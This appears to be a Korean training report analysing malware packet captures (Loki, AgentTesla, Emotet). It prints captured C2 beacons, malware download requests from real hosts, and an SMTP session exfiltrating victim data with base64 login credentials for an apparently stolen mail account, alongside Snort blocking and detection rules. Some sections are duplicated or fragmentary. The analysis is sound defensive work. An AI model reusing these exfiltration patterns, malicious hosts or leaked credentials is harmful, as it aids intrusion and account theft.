



# 악성 pcap파일 분석

-전동혁-



이름	전동혁
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## ■ 1번 문제 (220104.pcap)

✓ **www.virustotal.com** 활용하여 유해한 주소, 파일여부 확인

감염된 호스트					
192.168.243.241 - HAPUBWS-PC					
스파이웨어 악성 사이트 요청					
http://nesofirenit.gq/stats/fre.php					
POST /stats/fre.php (C2 서버 명령 전달 - 13.68.141.149)					
12103	2022-01-04	10:26:06.879947	192.168.243.241	13.68.141.149	TCP
66	49177 → 80 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=256				
SACK_PERM					
설명 : 해당 요청은 악성코드의 C2(Command & Control) 서버와의 통신 가능성이 높음					
POST /stats/fre.php 요청을 통해 감염된 PC 정보를 전송하려는 시도로 보임					
<pre>POST /stats/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nesofirenit.gq Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 8B807CAE Content-Length: 192 Connection: close  ..'.....ckav.ru.....H. 6.r.s.F.Z.r.....H.A.P.U.B.W.S.-.P.C.....H.A.P.U.B.W.S.-.P.C.....C.....k..... 0...6.8.9.7.1.1.0.B.5.2.C.1.6.6.E.7.F.2.0.F.B.F.0.B.....i2mHC....HTTP/1.1 404 Not Found Date: Tue, 04 Jan 2022 02:11:01 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Content-Type: text/html  File not found.</pre>					

✓ **비정상적인 접속을 차단하기 위해 Snort Rule 개발**

SnortRule
<pre> # 13.68.141.149에서 들어오는 TCP, HTTP 차단 drop tcp 13.68.141.149 any -&gt; any any (msg:"Blocked TCP traffic from 13.68.141.149"; sid:1000001; rev:1;) drop tcp 13.68.141.149 any -&gt; any 80 (msg:"Blocked HTTP traffic from 13.68.141.149"; sid:1000002; rev:1;)  # 2.58.149.41에서 들어오는 TCP, HTTP 차단 drop tcp 2.58.149.41 any -&gt; any any (msg:"Blocked TCP traffic from 2.58.149.41"; sid:1000004; rev:1;) drop tcp 2.58.149.41 any -&gt; any 80 (msg:"Blocked HTTP traffic from 2.58.149.41"; sid:1000005; rev:1;) </pre>

**악성코드 배포 서버 요청**

GET /bestzx.exe (악성코드 배포 서버 - 2.58.149.41)

6095 2022-01-04 10:25:32.430894 192.168.243.241 2.58.149.41 HTTP

354 GET /bestzx.exe HTTP/1.1

설명 : bestzx.exe라는 실행 파일이 kizitox.cf 도메인에서 다운로드되고 있으며, 이 파일은 악성코드일 가능성이 큼

```
GET /bestzx.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: kizitox.cf
Connection: Keep-Alive

HTTP/1.1 200 OK
Date: Tue, 04 Jan 2022 02:10:26 GMT
Server: Apache
Last-Modified: Mon, 03 Jan 2022 22:21:40 GMT
ETag: "55400-5d4b4fd80d53"
Accept-Ranges: bytes
Content-Length: 349184
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/octet-stream

MZ.....@.....!..L!This program cannot be
run in DOS mode.
```

**bestzx.exe VirusTotal Result**

hash : fa8f78ecc58a01cf50c5a60e0ca499da6c5f09171f96cd3b1664ed879f11ae8e

원본 파일 이름 : OpCod.exe

백신엔진에서 61개의 악성행위가 검출됨.

**61** / 73  
Community Score -1

61/73 security vendors flagged this file as malicious

fa8f78ecc58a01cf50c5a60e0ca499da6c5f09171f96cd3b1664ed879f11ae8e  
OpCod.exe

Size 341.00 KB Last Analysis Date 17 minutes ago

peexe long-sleeps detect-debug-environment direct-cpu-clock-access spreader assembly malware runtime-modules

**DETECTION** DETAILS RELATIONS BEHAVIOR COMMUNITY 6

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label **trojan.msil/loki** Threat categories trojan ransomware Family labels msil loki noon

Security vendors' analysis Do you want to automate checks?

AhnLab-V3	Trojan.Win.FCUF.C4895633	Alibaba	TrojanSpy:MSIL/AgentTesla.8d4b6fd9
AliCloud	Trojan(spy):MSIL/AgentTesla.NMM2KJC	ALYac	Gen:Variant.Ransom.Loki.2418
Arcabit	Trojan.Ransom.Loki.D972	Avast	Win32:PWSX-gen [Trj]
AVG	Win32:PWSX-gen [Trj]	Avira (no cloud)	HEUR/AGEN.1371163
BitDefender	Gen:Variant.Ransom.Loki.2418	Bkav Pro	W32.AIDetectMalware.CS
ClamAV	Win.Packed.Nanore-10021579-0	CrowdStrike Falcon	Win/malicious_confidence_100% (W)
CTX	Exe.trojan.msil	Cylance	Unsafe
DeepInstinct	MALICIOUS	DrWeb	Trojan.Siggen16.24945
Elastic	Malicious (high Confidence)	Emsisoft	Gen:Variant.Ransom.Loki.2418 (B)
eScan	Gen:Variant.Ransom.Loki.2418	ESET-NOD32	A Variant Of MSIL/Kryptik.UYA
Fortinet	MSIL/GenericKDS.61009645tr	GData	Gen:Variant.Ransom.Loki.2418



## ■ 2번 문제 (220328.pcap)

✓ **www.virustotal.com** 활용하여 유해한 주소, 파일여부 확인

감염된 호스트				
192.168.241.48				

악성코드 배포 서버 요청				
GET /PbSkdCOW/ (악성코드 배포 서버 - 151.236.62.132)				
2523	2022-03-28 09:07:22.322066	192.168.241.48	151.236.62.132	HTTP
364	GET /PbSkdCOW/ HTTP/1.1			
설명 : (GET /PbSkdCOW/ HTTP/1.1)은 church.ktc-center.net 서버에서 특정 파일을 다운로드하는 요청 , 응답으로 Windows DLL 파일(IQL7h0z.dll)이 자동으로 다운로드되며, 이는 악성코드 유포 방식과 매우 유사함				
<pre> GET /PbSkdCOW/ HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: church.ktc-center.net Connection: Keep-Alive  HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Mar 2022 01:52:17 GMT Content-Type: application/x-msdownload Content-Length: 667648 Connection: keep-alive X-Powered-By: PHP/7.3.5 Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Mon, 28 Mar 2022 01:52:17 GMT Content-Disposition: attachment; filename="IQL7h0z.dll" Content-Transfer-Encoding: binary Set-Cookie: 624114d1d75a0=1648432337; expires=Mon, 28-Mar-2022 01:53:17 GMT; Max-Age=60; path=/ Last-Modified: Mon, 28 Mar 2022 01:52:17 GMT MS-Author-Via: DAV X-Powered-By: PleskLin  MZ.....@.....!..L!This program cannot be run in DOS mode. </pre>				

스파이웨어 악성 사이트 요청				
<a href="http://info.ackng.com">http://info.ackng.com</a> (C2 서버 - 63.251.235.76)				
GET				
/e.png?id=HAPUBWS-PC.scl3.dc&mac=08-00-27-9A-96-FB,00-01-00-01-29-D2&OS=Windows-7-6.1.7601-SP1&BIT=32bit&IT=2022-03-28,01:51:46&c=1&VER=9&d=0&from=ipc&mpass=&size=6967301&num=0&sa=&dig=0&mdl=0				
2448	2022-03-28 09:07:19.676626	64.32.8.68	192.168.241.48	HTTP
398	HTTP/1.1 429 Too Many Requests			
설명 : (GET /e.png?id=...)은 info.ackng.com 서버로 전송되며, PNG 이미지처럼 보이지만 여러 장치 및 OS 정보를 포함한 의심스러운 요청 , 이러한 요청은 일반적으로 정보 탈취(Malware Beaconing)가 의심됨				



```
GET /e.png?id=HAPUBWS-PC.scl3.dc&mac=08-00-27-9A-96-FB,00-01-00-01-29-D2&OS=Windows-7-6.1.7601-
SP1&BIT=32bit&IT=2022-03-28,01:51:46&c=1&VER=9&d=0&from=ipc&mpass=&size=6967301&num=0&sa=&dig=0&mdl=0 HTTP/1.1
Accept-Encoding: identity
Host: info.ackng.com
Connection: close
User-Agent: Python-urllib/2.7

HTTP/1.1 429 Too Many Requests
cache-control: max-age=0, private, must-revalidate
connection: close
content-length: 17
date: Mon, 28 Mar 2022 01:52:14 GMT
server: nginx
set-cookie: sid=b0ff683e-ae39-11ec-8b2c-54be2d0ef690; path=/; domain=.ackng.com; expires=Sat, 15 Apr 2090
05:06:21 GMT; max-age=2147483647; HttpOnly

Too many requests
```

## ✓ 비정상적인 접속을 차단하기 위해 Snort Rule 개발

### SnortRule

```
# 151.236.62.132 - 악성 DLL 배포 서버 (TCP & HTTP 차단)
drop tcp any any -> 151.236.62.132 any (msg:"Blocked TCP traffic to malicious
DLL server (151.236.62.132)"; sid:2000001; rev:1;)
drop tcp 151.236.62.132 any -> any any (msg:"Blocked TCP traffic from
malicious DLL server (151.236.62.132)"; sid:2000002; rev:1;)
drop tcp any any -> 151.236.62.132 80 (msg:"Blocked HTTP traffic to malicious
DLL server (151.236.62.132)"; sid:2000003; rev:1;)
drop tcp 151.236.62.132 80 -> any any (msg:"Blocked HTTP traffic from
malicious DLL server (151.236.62.132)"; sid:2000004; rev:1;)

# 63.251.235.76 - C2 서버 (TCP & HTTP 차단)
drop tcp any any -> 63.251.235.76 any (msg:"Blocked TCP traffic to C2 server
(63.251.235.76)"; sid:2000005; rev:1;)
drop tcp 63.251.235.76 any -> any any (msg:"Blocked TCP traffic from C2 server
(63.251.235.76)"; sid:2000006; rev:1;)
drop tcp any any -> 63.251.235.76 80 (msg:"Blocked HTTP traffic to C2 server
(63.251.235.76)"; sid:2000007; rev:1;)
drop tcp 63.251.235.76 80 -> any any (msg:"Blocked HTTP traffic from C2 server
(63.251.235.76)"; sid:2000008; rev:1;)
```



## PbSkdCOW VirusTotal Result

hash : 9df719cd139bf9d0fdcd43b524882e61b4541f923944f9f67be1a60c4f7bdbb3

원본 파일 이름 : PbSkdCOW

백신엔진에서 61개의 악성행위가 검출됨.

61  
/ 73  
Community  
Score

61/73 security vendors flagged this file as malicious

Reanalyze Similar More

9df719cd139bf9d0fdcd43b524882e61b4541f923944f9f67be1a60c4f7bdbb3  
PbSkdCOW

Size  
652.00 KB

Last Analysis Date  
32 minutes ago

DLL

pedll idle detect-debug-environment checks-user-input

DETECTION

DETAILS

RELATIONS

BEHAVIOR

COMMUNITY

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label trojan.emotet/fusb

Threat categories trojan banker

Family labels emotet fusb botx

Security vendors' analysis

Do you want to automate checks?

AhnLab-V3	Malware/Win.Generic.R480902	Alibaba	Trojan.Win32/Emotet.ea77728c
AliCloud	Trojan/Win/Emotet.28388a01	ALYac	Trojan.Agent.Emotet
Antiy-AVL	Trojan/Win32.Cerber	Arcabit	Trojan.Agent.FUSB
Avast	Win32:BotX-gen [Trj]	AVG	Win32:BotX-gen [Trj]
Avira (no cloud)	TR/AD.Nekark.kjxui	BitDefender	Trojan.Agent.FUSB
ClamAV	Win.Trojan.Emotet-9942537-0	CrowdStrike Falcon	Win/malicious_confidence_100% (W)
CTX	DLL.trojan.fusb	Cylance	Unsafe
Cynet	Malicious (score: 100)	DeepInstinct	MALICIOUS





### ■ 3번 문제 (220329.pcap)

✓ **www.virustotal.com** 활용하여 유해한 주소, 파일여부 확인

감염된 호스트					
192.168.242.21					
악성코드 배포 서버 요청					
http://med.devsrm.com					
GET /wp-content/gtOOTHi3zkUbn8U6/ (악성코드 배포 서버 - 143.95.229.88)					
8693	2022-03-29 08:07:30.522808	192.168.242.21	143.95.229.88	HTTP	
376	GET /wp-content/gtOOTHi3zkUbn8U6/ HTTP/1.1				
설명 : 해당 HTTP 요청(GET /wp-content/gtOOTHi3zkUbn8U6/)은 med.devsrm.com 서버에서 특정 파일을 다운로드하는 요청					
서버는 CgW7WQUZFR9EUfrtp99hztRqag.dll이라는 파일을 제공하고 있으며, MIME 타입이 application/x-msdownload로 설정되어 있어 Windows 실행 가능한 파일(DLL, EXE 등)임을 의미함					
<pre>GET /wp-content/gtOOTHi3zkUbn8U6/ HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: med.devsrm.com Connection: Keep-Alive  HTTP/1.1 200 OK Date: Tue, 29 Mar 2022 00:53:25 GMT Server: Apache Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Tue, 29 Mar 2022 00:53:25 GMT Content-Disposition: attachment; filename="CgW7WQUZFR9EUfrtp99hztRqag.dll" Content-Transfer-Encoding: binary Set-Cookie: 6242588512a55=1648515205; expires=Tue, 29-Mar-2022 00:54:25 GMT; Max-Age=60; path=/ Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Last-Modified: Tue, 29 Mar 2022 00:53:25 GMT Vary: Accept-Encoding Content-Encoding: gzip Keep-Alive: timeout=15, max=768 Transfer-Encoding: chunked Content-Type: application/x-msdownload</pre>					

✓ **비정상적인 접속을 차단하기 위해 Snort Rule 개발**

SnortRule
<pre># med.devsrm.com 서버 차단 drop tcp any any -&gt; any 80 (msg:"Blocked access to med.devsrm.com"; content:"Host[3A] med.devsrm.com"; http_header; sid:1000023; rev:1;)  # 특정 파일(.dll) 다운로드 차단 drop tcp any any -&gt; any 80 (msg:"Blocked suspicious DLL download"; content:".dll"; http_uri; sid:1000024; rev:1;)</pre>



# 특정 경로(/wp-content/gtOOTHi3zkUbn8U6/) 차단  
drop tcp any any -> any 80 (msg:"Blocked access to suspicious wp-content folder"; content:"/wp-content/gtOOTHi3zkUbn8U6/"; http\_uri; sid:1000025; rev:1;)

## gtOOTHi3zkUbn8U6 VirusTotal Result

hash : e76bf9949fe11d78b7e3941e6264512315e002a13aecb8f3e7f2170ec0f4af06

원본 파일 이름 : Controles\_ActiveX.EXE

백신엔진에서 46개의 악성행위가 검출됨.

46  
/ 67  
Community  
Score

46/67 security vendors flagged this file as malicious

e76bf9949fe11d78b7e3941e6264512315e002a13aecb8f3e7f2170ec0f4af06

Size  
680.00 KB

Last Analysis Date  
2 years ago

DLL

Controles\_ActiveX.EXE

peddl spreader

DETECTION

DETAILS

RELATIONS

BEHAVIOR

COMMUNITY

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to [automate checks](#).

Security vendors' analysis

Do you want to automate checks?

Ad-Aware	Trojan.GenericKDZ.85859	AhnLab-V3	Trojan/Win.Generic.R480624
ALYac	Trojan.GenericKDZ.85859	Antiy-AVL	Trojan/Generic.ASMalwS.35512C6
Arcabit	Trojan.Generic.D14F63	Avast	Win32:BotX-gen [Trj]
AVG	Win32:BotX-gen [Trj]	Avira (no cloud)	TR/AD.Nekark.arvts
BitDefender	Trojan.GenericKDZ.85859	Bkav Pro	W32.AIDetect.malware2
ClamAV	Win.Dropper.Emotet-9942550-0	CrowdStrike Falcon	Win/malicious_confidence_100% (W)
Cynet	Malicious (score: 100)	Cyren	W32/Emotet.EEN.gen!Eldorado
DrWeb	Trojan.Emotet.1161	Elastic	Malicious (high Confidence)
Emsisoft	Trojan.GenericKDZ.85859 (B)	eScan	Trojan.GenericKDZ.85859
ESET-NOD32	Win32/Emotet.DG	Fortinet	W32/GenKryptik.FSOVitr
GData	Trojan.GenericKDZ.85859	Ikarus	Trojan-Spy.Emotet





■ 4번 문제 (220428.pcap)

✓ **www.virustotal.com** 활용하여 유해한 주소, 파일여부 확인

감염된 호스트					
192.168.242.168					
C2 서버로 정보 전송					
http://med.devsrm.com					
GET /wp-content/gtOOTHi3zkUbn8U6/ (악성코드 배포 서버 - 143.95.229.88)					
8693	2022-03-29 08:07:30.522808	192.168.242.21	143.95.229.88	HTTP	
376	GET /wp-content/gtOOTHi3zkUbn8U6/ HTTP/1.1				
설명 : 악성코드가 감염된 시스템 정보를 공격자에게 이메일로 전송하는 패턴으로 보임					
, 즉, 스팸 봇넷 또는 정보 유출 악성코드일 가능성이 높음					
Time: 04/28/2022 02:16:36 					
User Name: 0KXdAlq 					
Computer Name: ZPfLXdBAMc 					
OSFullName: Microsoft Windows 7 Professional  					
CPU: Intel(R) Xeon(R) CPU E5-2630 v4 @ 2.20GHz 					
RAM: 3071 MB 					
IP Address:  					
<hr>					
감염된 시스템의 기본 정보를 공격자에게 전송					
IP 주소 필드가 비어 있음 → 네트워크 문제 또는 탐지를 피하기 위해 일부 정보만 전송 가능성이 있음,					
공격자가 특정 시스템을 추적하기 위한 정보 수집 가능성이 있음					



```
220-koi.secure-dns.net ESMTP Exim 4.95 #2 Wed, 27 Apr 2022 20:15:51 -0600
220-We do not authorize the use of this system to transport unsolicited,
220 and/or bulk e-mail.
EHLO HAPUBWS-PC
250-koi.secure-dns.net Hello HAPUBWS-PC [64.124.12.162]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250-PIPE_CONNECT
250-AUTH PLAIN LOGIN
250-STARTTLS
250 HELP
AUTH login d2Iuemh1QGNoZWMuY29tLnBr
334 UGFzc3dvcmQ6
WndiMTAyMy4u
235 Authentication succeeded
MAIL FROM:<wb.zhu@chec.com.pk>
250 OK
RCPT TO:<officestore2022@gmail.com>
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
MIME-Version: 1.0
From: wb.zhu@chec.com.pk
To: officestore2022@gmail.com
Date: 28 Apr 2022 02:16:40 +0200
Subject: PW_0KXdAlq/ZPFLXdBAMc
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: quoted-printable

Time: 04/28/2022 02:16:36<br>User Name: 0KXdAlq<br>Computer Name:=
ZPFLXdBAMc<br>OSFullName: Microsoft Windows 7 Professional <br>C=
PU: Intel(R) Xeon(R) CPU E5-2630 v4 @ 2.20GHz<br>RAM: 3071 MB<br>=
IP Address: <br><br>
.
250 OK id=1njth9-004fWm-Nv
QUIT
221 koi.secure-dns.net closing connection
```

## ✓ 비정상적인 접속을 차단하기 위해 Snort Rule 개발

### SnortRule

```
# 감염된 시스템에서 특정 이메일(officestore2022@gmail.com)로 정보 전송 탐지
alert tcp any any -> any 25 (msg:"[ALERT] Malicious email exfiltration detected";
content:"RCPT TO:<officestore2022@gmail.com>"; nocase; sid:1000001; rev:1;)

# 탈취된 이메일 계정(wb.zhu@chec.com.pk)의 인증 시도 탐지
alert tcp any any -> any 25 (msg:"[ALERT] Unauthorized email authentication
attempt";
content:"AUTH login d2Iuemh1QGNoZWMuY29tLnBr"; sid:1000002; rev:1;)

# 감염된 시스템에서 SMTP를 통해 정보 유출 탐지
alert tcp any any -> any 25 (msg:"[ALERT] Possible SMTP exfiltration";
pcre:"/(User Name|Computer Name|OSFullName|CPU|RAM|IP Address)/";
```



sid:1000003; rev:1;)





content: "/ice-casino2/"; http\_uri: sid:1000022; rev:1;)



## ■ 6번 문제 (220531.pcap)

✓ **www.virustotal.com** 활용하여 유해한 주소, 파일여부 확인

감염된 호스트

192.185.111.79

악성 사이트 요청

tt.seplindia.net

GET /tt.exe

30032022-05-31 09:50:44.376661192.168.243.226192.185.111.79HTTP

368GET /tt.exe HTTP/1.1

GET /tt.exe HTTP/1.1  
Accept: \*/\*  
Accept-Encoding: gzip, deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)  
Host: tt.seplindia.net  
Connection: Keep-Alive  
  
HTTP/1.1 200 OK  
Date: Tue, 31 May 2022 02:35:40 GMT  
Server: Apache  
Upgrade: h2,h2c  
Connection: Upgrade, Keep-Alive  
Last-Modified: Mon, 30 May 2022 22:48:43 GMT  
Accept-Ranges: bytes  
Content-Length: 294183  
Keep-Alive: timeout=5, max=75  
Content-Type: application/x-msdownload  
  
MZ.....@.....!..L!This program cannot be  
run in DOS mode.

설명 : 클라이언트가 tt.seplindia.net 서버에서 tt.exe라는 실행 파일을 다운로드하려는 HTTP GET 요청 , 파일 내용 일부를 보면 \*\*Windows 실행파일(PE Format)\*\*이라는 것을 확인할 수 있음

✓ **비정상적인 접속을 차단하기 위해 Snort Rule 개발**

SnortRule
# HTTP 프로토콜을 통해 특정 실행파일(tt.exe) 다운로드를 탐지 alert tcp any any -> any 80 (msg:"[ALERT] Malicious EXE download detected"; content:"GET /tt.exe HTTP/1.1"; nocase; sid:1000010; rev:1;)






## ■ 7번 문제 (220920.pcap)

✓ **www.virustotal.com** 활용하여 유해한 주소, 파일여부 확인

**악성 사이트 요청**

설명 : 내부 IP(192.168.242.3)가 Google DNS(8.8.8.8)에 도메인 조회 요청을 보냄.  
8.8.8.8은 해당 도메인의 IP 주소(154.53.40.254)를 응답함  
VirusTotal 결과 podzeye2.duckdns.org 도메인은 악성 도메인일 가능성이 높음

DNS	80 Standard query 0x38aa A podzeye2.duckdns.org
DNS	96 Standard query response 0x38aa A podzeye2.duckdns.org A 154.53.40.254



Community Score

7/96

7/96 security vendors flagged this URL as malicious

[Reanalyze](#) [Search](#) [More](#)

http://podzeye2.duckdns.org/  
podzeye2.duckdns.org

Last Analysis Date  
2 months ago

DETECTION

DETAILS

COMMUNITY

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Security vendors' analysis

Do you want to automate checks?

alphaMountain.ai	Malicious	CRDF	Malicious
ESET	Malware	Fortinet	Malware
Gridinsoft	Malicious	Lionic	Malicious
Webroot	Malicious	Trustwave	Suspicious

✓ 비정상적인 접속을 차단하기 위해 Snort Rule 개발

**SnortRule**

```
# DNS 쿼리를 탐지하는 Snort 룰
alert udp any any -> any 53 (msg:"[ALERT] Malicious DNS Query -
podzeye2.duckdns.org";
content:"podzeye2.duckdns.org"; nocase;
dns_query;
sid:1000021; rev:1;)
```